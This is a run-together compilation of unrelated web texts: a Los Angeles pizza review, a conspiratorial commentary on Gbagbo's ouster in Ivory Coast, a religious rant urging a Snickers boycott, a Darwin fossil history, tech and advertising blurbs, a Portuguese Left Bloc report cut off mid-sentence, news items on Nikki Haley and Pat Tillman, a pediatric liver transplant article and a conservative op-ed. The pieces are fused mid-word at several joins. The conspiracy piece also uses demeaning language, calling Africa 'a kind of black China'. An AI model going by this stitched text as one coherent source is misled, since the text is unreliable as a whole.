Instead of a typical mom and pop place you’d expect, the interior is actually modern, minimal and nicely design. The parking lot is very small so we always have to park at the dense with apartment area of K-town side streets, which is always challenge. There’re only 5 tables inside the small space, so you have to come early or just be lucky. They do take out as well.
You can see your pizza made in front of you.
Marinara tomato, oregano, capers, anchovies. $8 Simple and very tasty. The Marinara sauce tastes on the healthier side (lighter) but it’s still flavorful. The crust is thin and soft (but not soggy), I like it.
Another basic: Spaghetti with Meatballs. Delicious! The spaghetti are handmade and the texture was great! The sauce, meatballs are all done perfectly, it’s the ultimate comfort food I’ll come back here for again and again.
Insalata Delizia spinach salad, apples, red onion, gorgonzola cheese, lemon dressing.
Siciliana: tomato, mozzarella, eggplant, sausage, bell pepper, spicy sauce.
Lamb Ragu Pappardelle. A special du jour. The pasta are handmade again and it’s so fresh with great texture. The lamb Ragu is so rich and delicious What a pity that it’s not on their regular menu.
Speck, Gorgonzola and Artichoke.
As you can see from the photo, we’ve came back a lot. The Pizza are about $10 each and Pasta at $8 (in LA!). The place reminds me of the small Italian casual joints up at SF and NYC, I’m glad I finally have a favorite go-to Italian place in LA.
All’ Angolo Pizza & Pasta (213) 368-7888
4050 W 3rd St, Los Angeles 90020
Tags: Italian, Pasta, PizzaMany of us are deeply troubled by what is happening in the Ivory Coast. The fundamental issues are being overlooked. The consequences and ramifications of this denouement are also being overlooked. – Ghana Joy OnLine
Dominant Social Theme: There is no reason for concern over the ouster of Laurent Gbagbo. It was the right thing to do. Plus it's a small country and people around the world won't notice.
Free-Market Analysis: We have stayed with the Ivory Coast story because it is not often one gets to watch a meme in the making. But that's how these dominant social themes work. The meme in this case, and it is larger than the Ivory Coast, is that if Africa's teeming countries can become properly managed regulatory democracies then its peoples and institutions can grow wealthy beyond belief. Western power elites will make it so.
Those who understand this sort of analysis also understand that it is not merely theoretical. One can use such meme watching to pick, say, the turning point for gold and silver circa 2001. Those "in the know" were able to pick the turning point almost to the month. These individuals and groups began accumulating gold at US$250 an ounce and now own those same ounces at US$1500. Silver provided the same opportunity.
How does Africa fit in? If one goes along with the promotion now rolling out, one might be apt to grant this perspective – that Africa is the next China. But there are two caveats. One, the Anglo-American power elite that already did this in Japan and China has to have the psychic and economic space to work the same miracle with Africa. Second, African leaders and their peoples have to let it. This second caveat is a big one. The reason the elites are not focusing on South America is because many South American leaders distrust the Anglo-American economic approach. Africa provides less pushback or at least it did.
The reason the Ivory Coast story is so important is because it may presage the end of certainty that Africa is in fact amenable to 20th century-style Western economics. There seems little doubt now that Gbagbo's removal as President of the Ivory Coast was preordained, but by obscuring Gbagbo's role in advocating African independence from the West economically as well as politically, Western powers-that-be have justified their actions abroad but not in Africa.
These are big issues and change is slow. But Gbagbo's ouster may be one of the turning points that we try to identify. The instinct among Africa's corrupt leaders is to do the West's bidding and this has led to an overwhelming flood of vituperative media as regards Gbagbo. The former Ivory Coast president is a history professor with a career built around increasing defiance of French business and economic interests. In the process of his removal, he has been vilified. His Muslim opponent Alassane Ouattara (now president) is a technocrat who worked with the International Monetary Fund. He has been celebrated, uplifted and was, in the end, installed as president by force.
Our point, as dedicated meme watchers is, as always, that in this new century the Internet undermines elite propaganda that was so successful previously. The Anglo-American power elite is desperately trying to whip Africa in shape so it can take its turn in line as the next China but episodes such as those that just occurred in the Ivory Coast don't help. Western elites need a continent-sized evolutionary capitalist environment on which to lay off US Treasuries. This necessity has increased a good deal since US President Richard Nixon abrogated the gold standard way back in 1971.
The first nation to play this role was Japan, which absorbed almost US$1 trillion in Treasuries in return for having fairly open access to the US market to sell goods and services. The money that Japan shipped to American shores mostly funded American military might that in turn provided security to Japan and much of the rest of the world. Of course once can argue about whether this was a good thing as the type of military security that the US provided tended to freeze regulatory democracy into place and empowered regional elites or outright authoritarian leadership.
Japan finally succumbed in the late 1980s to the inflationary bubble that Anglo-American manipulation inevitably entails and has not really recovered since. Anglo-elites, meanwhile, began to groom China with door-opening dilplomacy led by elite representatives like Henry Kissinger who paved the way in the early 70s. With the willing help of China's elite families and communist political structure, China took Japan's place. But now China is gradually succumbing to the same price inflation that laid Japan low. China will have to raise rates again and again, and this will have an effect on its ability to produce the kind of easily disposable consumer goods that the West demands and purchases in quantity.
Enter Africa, supposedly the next China. It is perfect. It is a huge continent of around a billion people, many of whom live on no more than a dollar a day and will be happy to work for very little money in return for a steady income and socialist promises (propaganda) of security. Africa is a kind of black China. Even better, since the culture is not homogenous, its institutions and politicians are eminently manipulatable.
In the 20th century, Gbagbo's manipulated demise would have resonated and then, perhaps, been forgotten. But we have postulated that in the 21st century, the manipulation will not be soon vanish down the "memory hole." The signs are going unreported in larger Western coverage of the Ivory Coast "recovery," but in the past first Ghana and then Gambia, both small states nearby the Ivory Coast have reportedly refused to recognize Ouattara as president.
The wave of adulatory press that has uplifted Ouattara while denigrating Gbagbo is starting to evolve as well. Perhaps the most startling article to date appeared in Ghana's Joy Online. The long but apparently un-bylined post was entitled "Feature: Ivory Coast Crisis" and is a devastating critique of what has just occurred.
Gbagbo, as a kind of professorial rabble rouser, was supposed to have skillfully exploited divisions between the Muslim immigrant North of the Ivory Coast and the Christian South. But the article makes the point that even 10 years ago in 2000 some estimates put the proportion of migrants at 40% of the Ivory Coast's population – which is a mighty large number indeed. Gbagbo didn't have to do much "exploiting." Ivorians were angry at the unrestrained influx and remain so to this day. Ghana's government actually began forcing immigrants out of the country when they reached 20 percent. The Ivory Coast passed no such law.
Nonetheless, there were political ramifications. As a non-Ivorian (both his mother and father were born outside the country), Ouattara was disqualified from the October 2000 presidential election that brought Gbagbo to power. And the article explains that the major fallout of the election was that the migrant population (still called "estrangers" or "strangers" by other Ivorians) felt Ouattara had not received his due. The result eventually was a civil war that led to the break up of the country. The civil war was finally settled in a complex peace deal of March 2007 to be supervised by the UN. In fact the UN predictably did a lousy job and though it was supposed to disarm the opposing sides it did not.
Still, Gbagbo was under pressure from the UN, France and the US – so says the article – to hold new elections. Gbagbo finally agreed to hold elections and to let Ouattara to run even without satisfying the citizenship requirement. "Gbagbo agreed to a new Electoral Commission headed by a Ouattara supporter, ostensibly to balance the Constitutional Council whose membership he had appointed as president." Here's the article's critical paragraph, which corresponds to what we've been reporting:
In France and in the Ivory Coast and virtually every other former French colony, the Constitutional Council certifies and declares election results after the Electoral Commission collates the results. These roles were not changed for the November 2010 presidential election in the Ivory Coast. This fact notwithstanding, the UN, with support from France, the US and other western countries, encouraged the Electoral Commission to declare the election results – in contravention of the constitution and electoral laws of the Ivory Coast, but in the belief that it constituted the certification of election results that the UN was to do!
The article tells us that that in some provinces of the North (where Ouattara had his backing), investigations found that voter turnout was as high as 150%, obviously a mathematical impossibility. The Constitutional Council invalidated the results of those provinces even as the UN was declaring Ouattara the winner. "Thus, two winners were proclaimed and sworn in as president: Ouattara, unconstitutionally by the Electoral Commission, and Gbagbo, constitutionally by the Constitutional Council."
The article then makes another point we've mentioned previously – that the UN should have rerun the election, at least in the questionable provinces. Instead, four months later a column of heavy armor including tanks and mobile artillery rolled toward Gbagbo's big house in Abidjan and after concentrated shelling, Gbagbo was removed by force by the French with UN back-up and turned over to Ouattara's ragtag forces that had apparently raped and pillaged their way down from the North into Ivorian Christian strongholds.
Gbagbo is now an old man, as videos reveal, but he seems to have courage. His home was blown up, but he went downstairs to the basement with his immediate family and continued to be defiant. The French sent him a letter that he was supposed to sign that would authorize the elections as legitimate. He refused. The UN announced he had surrendered and sought their protection. He had not.
Allies and associates were murdered in the ongoing shelling and looting. But Gbagbo stayed in his basement. Eventually, they took him by force. His son and wife were beaten up after their capture. His wife may have been raped. But in the end, the "baker," who is known for softly rolling his adversaries in batter and then leaving them to roast in the oven, has raised the heat all around.
Now The French are trying to cut their military presence by half and the Ouattara regime has taken to making regular announcements on radio stations urging "reconciliation." In fact, there have been reports since retracted of the capture of various Gbagbo associates. The most recent Ouattara announcement was that his "rebel" troops would only patrol with French and UN troops because the rebels were too prone to raping and looting. This means for all intents and purposes that Abidjan remains an occupied city, as Gbagbo apparently predicted to his supporters.
Sarkozy and Obama pressured Gbagbo to allow Ouattara to run on the argument that that was the only way of ensuring peace, the article informs us. And in Ouattara, as the article explains, the French, Americans and other Western powers can continue controlling the Ivorian economy: "In other words, neocolonialism will be writ large." Here's the conclusion:
The granting of full citizenship and enfranchisement of the migrant population in the Ivory Coast is the fundamental issue. Installing Ouattara as president would not resolve this issue, especially since the election result is in dispute. It will only sow the seeds of deep discontent, which will fuel civil strife. To avert this outcome, the granting of full citizenship and enfranchisement should be done properly and then the election should be rerun. The instability in the Ivory Coast is already having refugee, humanitarian, security and economic effects in neighbouring countries, particularly Ghana and Liberia. If civil strife worsens these effects will be greater and will destabilize the entire ECOWAS region.
… We in Ghana will bear the brunt of instability in the Ivory Coast so our president has been right in advising that peaceful means of resolution should be exhausted. The disarmament of the rebels, which was to be supervised by the UN, has been incomplete, leaving the rebels militarily strong. This is the main reason why the rebels have been able to march across the country, take control of San Pedro and other cities and are now trying to take control of Abidjan.
A cease fire must be imposed immediately, otherwise there will be more violence and the Ivory Coast will descend into more chaos, civil strife and then civil war. African leaders should take the lead in arranging for an immediate cease fire. If they don't, a bad precedent will have been set: If there is an electoral dispute one party should secure foreign support and militarily take over. Is that the way we want Africa to go? NO! Elections must surely be held and then results must be declared in line with the constitution and electoral laws of nations. The results must then be accepted by all parties.
As we reported earlier in the week, it may not be easy to pacify Abidjan and even other parts of the Ivorian South. Those who are shooting at French, UN and Ouattara troops are not merely supporters of Gbagbo, they are the husbands, sons and fathers of Christian Abidjan residents. They pick up a gun, shoot, and then put the gun down and return to whatever they were doing. It is a classical insurgency operation of the type that is difficult to quell. There are caches of military supplies throughout Abidjan and armed Gbagbo supporters have fled to Ghana and other neighboring states. This is a recipe for a new civil war.
In closing, we will point out another little reported story that African leaders are attempting to dissociate themselves from The Hague. Over the weekend, Nationmedia.com posted an updated report on, "the frosty relationship between the African Union and the International Criminal Court." We learn it started "when chief prosecutor Luis Moreno-Ocampo, issued an arrest warrant for Sudan's President Omar al Bashir last July." The rift has been exacerbated by the case of the Kenya Six that are now on trial at The Hague over post-election violence in Kenya several years ago. Here's some more from the article:
The Union has stated that it would consider withdrawing from the Rome Statute en masse should Kenya's request for deferral of the post-election violence cases at the ICC fail. As of October 12, 2010, 114 countries were state parties to the Rome Statute of the International Criminal Court. Of these, 31 are African States, 15 are Asian states, 18 are from Eastern Europe, 25 are Latin American and Caribbean, and 25 are from Western European and elsewhere. Thus, African countries constitute the majority based on continental figures.
Were Africa to pull out of that farcical court with its emphasis on vaguely defined "crimes against humanity," it would likely be a deathblow to its credibility. This is of course the same court that Gbagbo may appear before for his "crimes against humanity" – which Ouattara's prosecutors are preparing even now. (Soon, no doubt, we will hear leaked reports about Gbagbo's corruption and graft, even though that's not the point.) It is well known in Africa that the ICC's active cases have targeted the African states. Mr. Jean Ping, the Chairman of the African Union Commission, has reportedly gone on record saying the ICC has double standards.
After Thoughts
The 21st century is not the 20th. It is far more difficult for Western powers-that-be to surreptitiously promote power politics in Africa and elsewhere. Even the policy of "lifting up" states such as Japan and China and industrializing them is beginning to founder. Africa is probably the last hope for the West as regards this sort of mercantilist approach. This is no doubt another reason why Western money power seeks a worldwide platform. It has worn out the regional one.So apparently Snickers is working for Satan. A recent Snickers advertisement blatantly mocks Christ, in a manner which must have been inspired by Satan himself. Here is the offensive advertisement:
This advertisement shows the obvious influence of Satan on Snickers, and the sad, sad state of moral judgment in America as a whole. Only in America can one find our Savior, on the Cross, being mocked by a CANDY COMPANY. America is the new Rome. Jesus was mocked on the Cross by Roman soldiers just as He is here being mocked by Snickers. Let us give unto Caesar what is Caesar’s. Let us boycott Snickers and drive them into bankruptcy. They are an obviously evil organization,working for Satan. Let us pray for their workers and boycott their product.
This also shows the evils of capitalism. The capitalists will stop at nothing to sell their wares. They will even mock our Lord. Capitalists in America use half-naked women in unchaste poses in advertising on a regular basis. America even has Victoria’s Secret. Don’t know what Victoria’s Secret is? It’s that she’s Satanic and doomed to burn in hell for all eternity. I mean, look at their advertisements sincerely. Here is an example:
Read the caption on that advertisement: “No one’s perfect until now”. Obviously they forgot about the perfection of our Savior and Lord Jesus Christ. America is in a sad state. This is a dangerous time. The anti-christ has his hold strongly on the throats of modern society. Soon friends, soon Jesus will return to claim His throne. Let us prepare for Him, and reject sin in all its forms.
Yours in Christ,
JimWhen Charles Darwin arrived to South America, he was only 22 years old. He was part of the second survey expedition of HMS Beagle. He was recommended to Captain Robert FitzRoy by John Stevens Henslow, clergyman, botanist, mineralogist, and Darwin’s mentor.
Before this journey, Darwin’s experience with Earth Sciences was limited to one field trip to the North of Wales with famous Adam Sedgwick, one of the founders of modern geology. But Darwin had a special interest in this field of knowledge and shared this interest with Captain Fitz Roy. In fact, his geological findings promoted him for the very first time, to the scientific and public consideration.
During the first two years of the expedition, Darwin collected several fossil mammals from Argentina and Uruguay. He sent all the specimens, to his mentor John Stevens Henslow. The samples were deposited in the Royal College of Surgeons where Richard Owen began its study. Between 1837 and 1845, Owen described eleven taxa, including: Toxodon platensis, Macrauchenia patachonica, Equus curvidens, Scelidotherium leptocephalum, Mylodon darwini and Glossotherium sp.
Previous to this expedition, the first news of “fossils” in South American were reported by early Spanish explorers. These fossils were interpreted as the remains of an ancestral race of giant humans erased from the face of the Earth by a divine intervention.
George Cuvier, in 1796, published the first scientific work about a South American fossil: Megatherium americanum, based on the specimen recovered by Fray Manuel Torres from Lujan, Buenos Aires, Argentina.
On September 23, 1832 Darwin recovered his first fossil at Punta Alta (Buenos Aires, Argentina). He continued collecting fossil from Buenos Aires Province until October, when he moved to Uruguay. Later in 1834, he returned to Argentina and collected his last specimens.
It was in Uruguay where Darwin bought to a local farmer, the skull of a Toxodon used by Owen to establish the genus. He paid 18 pence for it. Darwin described it as “one of the strangest animals, ever discovered…”
Owen bestowed the name because its upper incisors were strongly arched (Toxodon means “arched tooth). He also recognized Toxodon as “A gigantic extinct mammiferous animal, referable to the Order Pachydermata, but with affinities to the Rodentia, Edentata, and Herbivorous Cetacea”. Toxodon was a puzzle that shared the massive skeleton of a rhino and the teeth had a certain resemblance to those of rodents.
Nevertheless, there was no close phylogenetic relationships with the groups mentioned by Owen. Toxodonts were a group of large-sized notoungulates of South American origin, ranging from the late Oligocene to late Pleistocene.
They are now considered among the more derived native notoungulates of South America and share an ancestry with North American condylarths and a recent study, indicates that is quite possible that Toxodonts traveled to North America.
Toxodonts shares a number of dental, auditory and tarsal specializations. They had short hippopotamus-like head with broad jaws filled with bow shaped teeth and incisors, a massive skeleton with short stout legs with three functional toes. The estimated weight is over a tonne.
About the different groups that appeared to be related to Toxodon, Darwin stated: “How wonderfully are the different orders, at the present time so well separated, blended together in different points of the structure of Toxodon ”
Despite the “erroneous” assignments of Darwin, it is quite possible that the observation of these characters supposedly shared significantly influenced his theory on the origin of species.
By the end of the expedition, Darwin was already earned a name as a geologist and fossil collector. He narrated his experiences in his book “Journal of Researches into the Geology and Natural History of the Various Countries visited by H.M.S. Beagle, under the Command of Captain FitzRoy, R.N. from 1832 to 1836″, published in 1839 and later simply known as “The Voyage of the Beagle”.
When Darwin wrote his memories in 1858, he described the expedition in one strong and powerful sentence: “the voyage of the Beagle has been by far the most important event in my life and has determined my whole career”.
References:
Fariña, Richard A.; Vizcaíno, Sergio F.; De Iuliis, Gerry (2013). Megafauna. Giant Beasts of Pleistocene South America. Indiana University Press.
Lundelius, Jr., E., Bryant, V., Mandel, R., Thies, K., Thoms, A. 2013. The first occurrence of a toxodont (Mammalia, Notoungulata) in the United States. Journal of Vertebrate Paleontology. 33, 1: 229-232
AdvertisementsBoxee has big plans for its upcoming Boxee TV, and it looks like it wants to get the word out on the grassroots level: the company will be giving away the device for free to those that have registered interest. Since the announcement of the device, Boxee has had a sign-up page on its website allowing those interested to receive additional information; some of those who took part are now receiving emails notifying them that they can get a Boxee TV for free by filling out a survey. Judging by the form itself, it looks like the promotion is limited to the handful of markets that will support the device's new cloud-based DVR function at launch, including Chicago, New York, Los Angeles, and Washington, DC. According to the company, the free units will ship out before the device's general release (it's scheduled to go on sale sometime in November).
It's not yet clear if this offer extends only to those who previously signed up for information on the Boxee TV, or if new potential customers can get into the action as well. If you'd like to try your luck, however, the sign-up page is still live on Boxee's website.
Thanks, Scott!The University of Engineering and Technology in Lima, Peru, wanted to attract new students for the 2013 school year, so they teamed up with DraftFCB and created the world’s very first water producing billboard for a city that sits in the middle of a desert, with almost no rainfall per year, an area where fresh, clean water is not guaranteed for everyone. It works by extracting water from the air that passes through the billboard, condensing it, cooling it and then storing it so that people can come to the billboard to collect safe drinking water.
I think this billboard installation might just be the best thing I’ve seen so far in 2013. What do you guys think? I love a campaign piece that can provide for a community… Thanks Andrew!
Be Sociable, Share!It is hard to imagine a sharper contrast than that between the 10th National Convention of Portugal's Left Bloc, held in Lisbon from June 24 to 26, and its predecessor, held in the same city 18 months ago.
In 2014, the 9th National Convention of the radical left force — formed in 1999 to unite several left currents — had brought the organisation to the brink of a 50–50 split.
The convention was dominated by a virulent fight between the two main platforms presented to the convention. The debate centred over the group's leadership, tactics towards the Socialist Party (PS, Portugal's main social democratic party) and the relative importance of the struggle for debt restructuring as against defence of Portugal's progressive 1975 constitution.
Gains
Disaster was only avoided when a compromise leadership formula was adopted by the incoming national council. But once it stepped back from this abyss, the Left Bloc went from success to success:
• In April last year, the Bloc re-entered the regional parliament of the tax-haven and holiday island of Madeira with two MPs;
• Last October, the Bloc scored its best ever result in a Portuguese general election (10.2%, 19 seats in the 230-seat Portuguese national assembly). Its success was largely due to its stance that it would support a PS-led government if it raised welfare payments and the minimum wage, and stopped privatisations.
• After the elections, the Bloc, the Portuguese Communist Party (PCP) and the Ecologist Party-Greens (PEV) separately negotiated to support a minority PS government. Blocking the formation of the right-wing government proposed by then-president Cavaco Silva, it led to the formation of the PS government of Prime Minister Antonio Costa.
• In January, the Left Bloc's candidate for president, Marisa Matias, came third with 10.1% of the vote after being under 5% in early polling. Her result was double that attained by the last Bloc presidential candidate in 2006.
As a result of these gains, the Left Bloc went to its 10th National Convention in a confident mood, with all major indicators showing growth. Since 2014, its membership has grown from 9240 to 11,734; daily visits to its websites had risen by between 16% and 25%; and its social media presence had increased by up to 78%.
These advances reflected the increased weight of the Left Bloc in Portuguese politics, forcefully articulated in the media by national coordinator Catarina Martins. Without the Bloc's initiative towards the PS, the previously governing right-wing parties — the Social-Democratic Party (PSD) and the Democratic and Social Centre-Peoples Party (CDS-PP) — would likely have continued in government with PS abstention.
Also, the existence of a parliamentary majority opposed to European Union-driven austerity sends a strong message to the Costa government that it should not waver in standing up to “Brussels”.
The advantages of such boldness were reconfirmed on July 27 when the European Commission announced that it would not fine Portugal or Spain for failing to reach EU-decreed deficit reduction targets.
A July Portuguese Aximage poll found the PS-PCP-PEV-Left Bloc parliamentary majority that supports Costa (known colloquially in Portugal as “the contraption”) has the support of 55.8% of those polled as against 35.4% for the parties of the right.
A June Eurosondagem poll had 68.8% rating the Costa government's performance as either very good (10.6%), good (22 |
group says a top Trump appointee violated a federal law by retweeting one of President Trump's tweets.
In a letter sent Tuesday to the Office of Special Counsel, Citizens for Responsibility and Ethics in Washington (CREW) requested an investigation into whether the U.S. ambassador to the United Nations, Nikki Haley, improperly used Twitter for political activity.
CREW charges that Haley violated the Hatch Act, which prohibits executive branch employees from using their "official authority or influence for the purpose of interfering with or affecting the result of an election."
Neither Haley nor her office would comment on CREW's complaint.
At issue is the president's tweet on June 19. He stated his support for Ralph Norman, the Republican running for Congress in South Carolina's 5th District. Norman went on to win the special election.
Haley retweeted Trump's endorsement of the candidate.
Later, she removed her retweet, but not before the message may have reached her more than 350,000 followers on the social media platform, CREW said.
"As the recent former governor of South Carolina, Ambassador Haley may care deeply about her party's electoral performance in the state, but the rules separating politics from official government work still apply," CREW Executive Director Noah Bookbinder said in a statement.
The Hatch Act does not apply to the president or vice president.
"There is a certain irony that Haley could get in trouble for retweeting what the president tweeted," said Kathleen Clark, an ethics law professor at Washington University in St. Louis.
Clark believes CREW's letter makes a strong case that a violation occurred.
Plus, CREW has had success with similar complaints before.
As NPR reported in April, the organization filed a complaint against White House social media director Dan Scavino for a tweet advocating for the defeat of Rep. Justin Amash, R-Mich. On June 5, the Office of Special Counsel responded by sending Scavino a warning letter that future political activity would result in further action.
But since that letter was issued, leadership at the Office of Special Counsel, which handles Hatch Act violations, has had turnover. Carolyn Lerner, an Obama-appointee, handled the previous case. With Lerner's term expiring, however, Trump nominated Henry Kerner to the position. Kerner is a former Republican congressional staffer.
Kerner has not yet been confirmed, so CREW's complaint was directed toward the acting special counsel, Adam Miles.
The Scavino and Haley cases do differ, in that Scavino posted his comments directly to Twitter, while Haley retweeted. Clark says that may not matter.
"People retweet for various purposes. Sometimes people say that retweets are not endorsements, but she does not say that or warn people that way," Clark said. "It appears to be partisan political activity in support of this South Carolina candidate."
On a spectrum of ethics concerns surrounding the Trump administration, Clark said this may not be a top priority, but it is worth notice.
"There is an overabundance of ethics concerns in this administration. I can't count on both hands the number, so I would just add this to the list," she said.Pat Tillman's Mom: McChrystal's Appointment A 'Slap In The Face'
Enlarge this image toggle caption Brendan Smialowski/Getty Images Brendan Smialowski/Getty Images
Earlier this week, President Barack Obama appointed retired Gen. Stanley McChrystal to lead an advisory panel on military families. McChrystal joined first lady Michelle Obama and Jill Biden, wife of Vice President Joe Biden, on a program called "Joining Forces," which seeks to highlight the problems military families face when a member is deployed to combat zones.
The choice of McChrystal was slightly surprising, because it came 10 months after he was fired for criticizing the Obama administration. Now, Mary Tillman, Pat Tillman's mother, tells ABC News that McChrystal is not the "right person for that kind of job."
Pat Tillman became one of the most high profile military enlistees after he left a professional football career to become an Army Ranger. He was killed by friendly fire seven years ago, but the family says the military misrepresented the circumstances of his death in an effort to create pro-war propaganda.
"[McChrystal] deliberately helped cover up Pat's death and he has never adequately apologized to us for doing that," Mary Tillman told ABC News. "I've come to learn through this journey that there are many other families that have been lied to by the military about their sons and daughters,'" she said. "And so we feel that what happened to Pat pertains to other people, not just us. I think it's a slap in the face to all soldiers to appoint this man to be on this committee."
Here's the ABC News report in full:
Back in 2009, NPR interviewed Jon Krakauer, who wrote a book detailing what the author calls an Army "cover-up." It's a good starting point for more background on the story, but the short of it is that the Army awarded Tillman a Silver Star, one of the military's highest honors. The citation was written by McChrystal and it failed to mention that Tillman was killed by friendly fire.
In the ABC News report embedded above, Amir Bar-Lev, the director of the documentary The Tillman Story, said putting McChrystal in charge of a commission on military families is like "putting Bernie Madoff in charge of a commission on pensions."If the liver does regenerate and grow large enough, doctors begin to withdraw the antirejection medicines. The patient’s immune system reactivates and, in most cases, gradually destroys the transplant, which is no longer needed. Life goes back to normal, free from a daily schedule of pills and their risks and expense.
“I think we need to promote this idea,” said Dr. Tomoaki Kato, Jonathan’s surgeon. He works at NewYork-Presbyterian Hospital/Columbia University Medical Center, but performed Jonathan’s transplant in 2006 at the University of Miami/Jackson Memorial Hospital.
“A lot of the transplant community is focused on how to get patients off immunosuppression, and this is one way,” he added.
But only a tiny fraction of transplant patients are candidates for the operation: certain children with acute liver failure — probably fewer than 100 a year in the United States, where 525 under 18 had liver transplants last year. The operation is a difficult one. It is longer and more risky than a standard transplant, and surgeons caution that patients have to be selected carefully because not all can withstand the surgery.
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The surgery was first tried in Europe in the early 1990s, and later in the United States. But the results were mixed — the liver did not always regenerate — and it never really caught on. (In medical journals, it is called auxiliary partial orthotopic liver transplantation.) Dr. Kato said the results may have been poor because the early attempts included adults.
“I think the key is children,” he said.
The best candidates are children with acute hepatic failure, a deadly condition in which the liver suddenly stops working, often for unknown reasons. Although the liver might be able to recover, it cannot do so fast enough to prevent brain damage and death from the toxins that build up. The only way to save the life of someone with this condition is to perform a transplant — or a partial one. Such partial transplants do not work for chronic liver diseases that cause scarring because it prevents the liver from regenerating.
All told, Dr. Kato has performed the surgery on seven children, ranging in age from 8 months (Jonathan) to 8 years, at Jackson Memorial. So far, the patient’s own liver has recovered in six of the seven children, and they no longer require antirejection drugs, Dr. Kato said, adding that he expected the need for the drugs to taper off soon for the seventh. In four, he described the transplant as “melting” away completely on its own, but two others, including Jonathan, needed surgery to remove a remnant or clear up an infection.
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Dr. Kato’s first case was in 1997. That child spent three months in intensive care. “We didn’t think it was successful,” he said. But after two years, the liver had fully recovered.
“That gave us the idea this was something worth doing,” Dr. Kato said.
Other surgeons have tried the procedure. Dr. Alan Langnas, director of liver transplantation at the Nebraska Medical Center, said he had performed it on about 10 patients, mostly children, in the last 15 years. In some cases, he said, the patient’s liver did not regenerate. At least one required a second transplant.
“I think the success has always been a little mixed,” Dr. Langnas said. “It depends on the patient selection and how well their native liver recovers. But I think it is an important option for some patients.”
Dr. Simon Horslen, the medical director of liver and intestine transplant at Seattle Children’s Hospital, who was at the Nebraska center when the operations were done there, said: “In the right hands it’s a wonderful technique. It is a case of those of us who have experienced it having to convince others.”
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Surgeons at Kings College in London have also performed the surgery, on 20 children ranging from 1 to 16 years old, during the last 20 years. Seventeen have survived. One needed a second transplant, but in 14, their own livers regenerated, and, so far, 11 have been able to stop taking antirejection drugs. In a recent article in a medical journal, the medical team from Kings College said the operation should be considered for children who need transplants for acute liver failure.
But Dr. J. Michael Millis, the chief of transplantation at the University of Chicago Medical Center, said, “This has not been particularly successful in most of the hands that have tried it.”
He added, “Even in Kato’s series, the operative time is almost double, so the patients have to spend almost twice as much time in the operating room, and I think that is actually the area that is the Achilles’ heel.” (A liver transplant usually takes about six hours.)
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Long operations require that patients be given large amounts of intravenous fluid, something that children with liver failure generally cannot tolerate, Dr. Millis said, explaining that the fluid causes brain swelling that can kill them.
“I’ve been waiting for kids to do this on for a decade,” he said. “But by the time I get a liver that is suitable, they’re too sick. I have to get them in and out of the operating room and back to intensive care as quickly as possible, with minimal fluids.”
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Dr. Langnas had similar concerns. “Sometimes these kids are so sick, they literally have hours or a day to live,” he said. “Under those circumstances, we want to not take any chances.”
Jonathan Nuñez, whose family lives in Miami, had a textbook case of acute liver failure. At 8 months, he was perfectly happy and healthy, then he suddenly turned cranky and sleepy. He cried too much, ate too little and began vomiting. He turned yellow, and his stomach and legs swelled. The diagnosis was acute liver failure, cause unknown. The only hope was a transplant.
At Jackson Memorial, Dr. Kato suggested a partial transplant. Jonathan’s mother, Yailin Nuñez, said she and her husband immediately said yes, because it offered at least a chance that Jonathan would be able to live a normal life, without immunosuppressants.
Children with acute liver failure shoot to the top of the list, and Jonathan got a transplant one day after being listed. He had a rocky recovery, more so than most of Dr. Kato’s patients. Severe rejection episodes required high doses of steroids. Other complications took him in and out of the hospital for three months.
He stabilized, but his own liver did not seem to be regenerating; at one point it even shrank. Ms. Nuñez never gave up hope, but after about two years, Dr. Kato started to doubt that Jonathan’s liver would ever recover, and he even contemplated removing it to prevent problems. Then it began to grow.
By last September, Jonathan’s liver was large enough to work on its own. He no longer needed the transplant. Doctors began decreasing antirejection drugs, and Jonathan’s immune system did the rest. In September, the transplant had been plainly visible on his CT scan. By November, it was gone.
But the transplant atrophied so fast that one spot where it had been connected to the small intestine did not have a chance to close properly. An abscess formed, causing fevers and making Jonathan quite sick. He needed antibiotics and a procedure to drain the infection. Two months later, on Jan. 28, at NewYork-Presbyterian Morgan Stanley Children’s Hospital, Dr. Kato operated to remove the abscess completely. A few days later, Jonathan and his family flew home to Miami.
“At the end of the day, I’m so glad,” Ms. Nuñez said. “I feel so fortunate that my son’s liver regenerated. The complications have been a struggle, and not knowing what caused his liver failure haunts me to this day. But he can live a normal life without immunosuppression. That’s what matters. There is hope out there when you’re given devastating news.”
“When it works, it’s cool,” Dr. Langnas said.
“In Seattle, they are considering it,” Dr. Horslen saidA typical weekend in our family involves my wife traveling to a baseball tournament, while I go to a soccer tournament, or vice versa, with grandparents often pitching in. Though the odds, and genetics, are against our kids playing in college, much less beyond, we are hopeful the lessons learned will be applied beyond the world of sports. Our kids have played on teams that seemingly cannot win, and others that go undefeated.
Like so many parents, we want our kids to learn the value of hard work, striving, discipline, teamwork, and winning and losing graciously. I welcome the competition, and smiled inwardly when my kids kept score even when the adults tried to discourage them from doing so. My kids have shed tears in the face of hard defeats, and worn proudly their unwashed winning jerseys. Simple experiences, like learning not to blame the referees or make excuses, will serve our children well as they mature and enter the real world.
The growing sense of entitlement and victimization evident in our society makes me wonder if our political leaders ever learned these lessons. I am not simply condemning partisanship or suggesting we all holds hands and sing “Kumbaya.” While I would like to see less name-calling and more cooperation in the political arena, I also believe that substantive disagreements over consequential issues can and should arouse passionate debate. What worries me is that the Left seems determined not just to win, but to also delegitimize their opponents.
Americans Are Tired of Elites Who Sneer at Their Beliefs
It is hard to find common ground, while recognizing real differences, if one is quick to condemn any who disagree as racists, sexists, or otherwise immoral. Those terms rightfully carry a powerful punch, but risk losing some of their impact if used promiscuously. I believe one of the reasons for the populist surge that powered Trump’s candidacy is the frustration many decent, middle class Americans feel as academic, political, and cultural elites sneer at their practices and experiences.
While conservatives have been busy running and building things in the market, liberals have done a good job at capturing the academic, entertainment, and media citadels that together define so much of our popular culture. (I am reminded of the students that once derided my classmates and me as “doers, not thinkers.” We regarded the epithet as a compliment.) University faculty, Hollywood stars, and reporters are so much more likely to be liberal, that it is noteworthy to find the conservative exceptions. However, supposedly conservative-leaning institutions, e.g. the military and the business world, do not exist entirely apart from the popular culture and are therefore not immune from these liberal influences.
The result has been a dominant liberal mindset that values pluralism and diversity above all else, except for those who disagree with them, i.e., conservatives. I once asked Larry Summers, when he was President of Harvard University, about the underrepresentation of conservatives among the school’s faculty and students. He replied this was due to the fact that evangelical Christian parents were less likely to want their children to attend Harvard, and that was good for them and for the institution. (I think the irony of Harvard’s Christian heritage was lost on the luncheon audience. Perhaps they are still atoning for their role in the Salem Witch trials.)
Liberals Increasingly Live In a Bubble
